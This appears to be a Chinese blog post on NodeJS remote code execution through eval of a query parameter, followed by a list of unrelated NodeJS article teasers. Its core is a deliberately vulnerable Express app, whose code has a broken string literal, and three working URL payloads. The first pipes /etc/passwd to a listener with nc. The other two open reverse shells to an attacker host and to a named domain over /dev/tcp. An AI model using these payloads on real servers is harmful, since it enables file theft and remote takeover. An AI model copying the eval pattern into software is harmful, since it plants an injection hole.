NodeJS远程代码执行
背景
@Artsploit在挖PayPal的漏洞时,发现一处NodeJS代码执行,奖励$10000美金。
测试
var express = require('express');
var app = express();
app.get('/', function (req, res) {
res.send('Hello eval(req.query.q));
console.log(req.query.q);
});
app.listen(8080, function () {
console.log('Example listening on port 8080!');
});
任意文件读取
http://host:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')
GET SHELL
http://host:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
GET SHELL2
http://host:8080/?q=require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/wufeifei.com/7890 0>%261"')
相关推荐
-
Nodejs抓取html页面内容(推荐)
废话不多说,直接给大家贴node.js抓取html页面内容的核心代码了. 具体代码如下所示: var http = require("http"); var iconv = require('iconv-lite'); var option = { hostname: "stockdata.stock.hexun.com", path: "/gszl/s601398.shtml" }; var req = http.request(option,
-
nodejs如何获取时间戳与时间差
Nodejs中获取时间戳的方法有很多种,例如: 1.new Date().getTime() 2.Date.now() 3.process.uptime() 4.process.hrtime() 平时想获取一个时间戳的话,用这些方法都可以,那么这些方法有什么区别呢? new Date().getTime()和Date.now() 这些方法是通过node运行环境的系统时间毫秒数, +new Date() 写法的效果和 new Date().getTime() 效果相同. 在需要频繁使用时间戳的场景
-
window通过vbs+bat实现自动在后台运行nodejs application
环境:window8.1 原理就是通过vbs无窗口后台运行bat文件 1.新建一个.bat文件.内容如: @ECHO ON f: cd \repositories\yyper start /b nodemon index.js -f 2.新建一个.vbs文件.内容如: Set ws = CreateObject("Wscript.Shell") ws.run "cmd /c run-yyper-blog.bat",vbhide 双击.vbs文件即可.本人通过该方法启
-
Nodejs 搭建简单的Web服务器详解及实例
使用 Nodejs 搭建简单的Web服务器 使用Nodejs搭建Web服务器是学习Node.js比较全面的入门教程,因为要完成一个简单的Web服务器,你需要学习Nodejs中几个比较重要的模块,比如:http协议模块.文件系统.url解析模块.路径解析模块.以及301重定向问题,下面我们就简单讲一下如何来搭建一个简单的Web服务器. 作为一个Web服务器应具备以下几个功能: 1.能显示以.html/.htm结尾的Web页面 2.能直接打开以.js/.css/.json/.text结尾的文件内容
-
nodejs实例解析(输出hello world)
下面将带领大家一步步学习nodejs,知道怎么使用nodejs搭建服务器,响应get/post请求,连接数据库等. 搭建服务器页面输出hello world var http = require('http'); http.createServer(function (request, response) { response.writeHead(200, {'Content-Type': 'text/html; charset=utf-8'}); if(request.url!=="/favi
-
NodeJs读取JSON文件格式化时的注意事项
进行NodeJs开发时偶然发现的一个雷点 正常情况下从JSON文件读取到字符后再通过JSON.parse没什么问题,只要格式不出错 有时在确保JSON格式正确时仍然会出现unexpected token异常 经过调查发现里面有不会显示的unicode字符 于是确定是UTF-8的问题,utf-8分有dom版和无dom版,一般编辑器不刻意设置会默认保存为带dom的utf8 解决办法是先将读到的文件转成二进制,然后检索dom符号删除 代码实现部分 function readText(pathname)
-
NodeJS和BootStrap分页效果的实现代码
1.数据处理 首先在动态js中,根据url参数获取数据库文档的数量,设置分页的大小,获取当前页面的数据,然后将文档数量pagecount,分页大小pagesize,以及当前页面currentpage传递到页面中. 2.处理分页效果 我采用的是JavaScript动态生成的,你也可以利用ejs支持函数的特性将其封装后生成html形式的分页. 首先,添加分页ul,在你的页面中需要显示的位置添加代码: <ul class="pagination" id="pagination
-
nodejs微信公众号支付开发
odeJs 微信公众号功能开发,移动端 H5页面调用微信的支付功能.这几天根据公司的需要使用 node 和 h5页面调用微信的支付功能完成支付需求.现在把开发过程重新捋一遍,以帮助更多的开发者顺利的完成微信支付功能的开发.(微信暂时还没有提供 node 的支付功能) 一.请求CODE 请求 code 的目的就是获取用户的 openid(用户相对于当前公众号的唯一标识) 和access_token,请求的API:https://open.weixin.qq.com/connect/oauth2/a
-
nodejs简单实现操作arduino
用Javascript来操作硬件早就不是一件稀奇的事情了. 所以作为一名电子专业出身的FE,我也打算尝试一下用js来驱动arduino: 要想操作这些底层硬件,肯定是需要一些工具的,我这里介绍的工具主要是 cylonjs 和 gort cylonjs其实就是一个操作"机器"的js框架,官网的介绍是这样的: Cylon.js is a JavaScript framework for robotics, physical computing, and the Internet of Th
-
Nodejs全局安装和本地安装的不同之处
上一篇文章<Nodejs中 npm常用命令详解>主要是整理了最常使用的npm命令及相关介绍,其中有提到全局安装(npm install gulp -g)和本地安装(npm install gulp),下图来自Gulp中文网入门指南,可以看出全局安装后gulp后还要进行本地安装,一开始我疑惑了?为什么全局安装的gulp么,还要进行本地安装,难道不能在项目中直接调用本地安装的包? 带着疑惑,在google找了相关文档,杂七杂八凑合起来才有了点眉目,让我们一起解开nodejs全局安装和本地安装的一些
-
nodejs连接mongodb数据库实现增删改查
准备 1.通过npm命令安装mongodb 2.安装mongodb数据库,这里不详细介绍了,安装网址:http://www.jb51.net/article/82522.htm CRUD操作 在此之前应对MongoDB数据库有所了解,知道它的一些增删查改命令. 1.增加 var MongoClient = require("mongodb").MongoClient; var DB_URL = "mongodb://localhost:27017/chm"; fun
随机推荐
- JS把内容动态插入到DIV的实现方法
- 雨哲浅谈关于防采集而不影响收录内容篇
- 收集的数千软件序列号
- JS正则表达式验证密码格式的集中情况总结
- 延时重复执行函数 lLoopRun.js
- 详解Python操作RabbitMQ服务器消息队列的远程结果返回
- 浅谈java Iterator.remove()方法的用法(详解)
- 教你为MySQL数据库换挡加速
- JavaScript中捕获与冒泡详解及实例
- php5中date()得出的时间为什么不是当前时间的解决方法
- asp.net getRemoteAddr()与 getRemoteHost()的区别
- Windows和Linux下定时删除某天前的文件的脚本
- mssql CASE,GROUP BY用法
- JavaScript中的ParseInt("08")和“09”返回0的原因分析及解决办法
- C#中的Linq to Xml详解
- 大数据情况下桶排序算法的运用与C++代码实现示例
- Android实现手势密码功能
- Linux下安装mysql的方式(yum和源码编译两种方式)
- IOS Xib控件拖拽与页面跳转实例
- vue-router 手势滑动触发返回功能
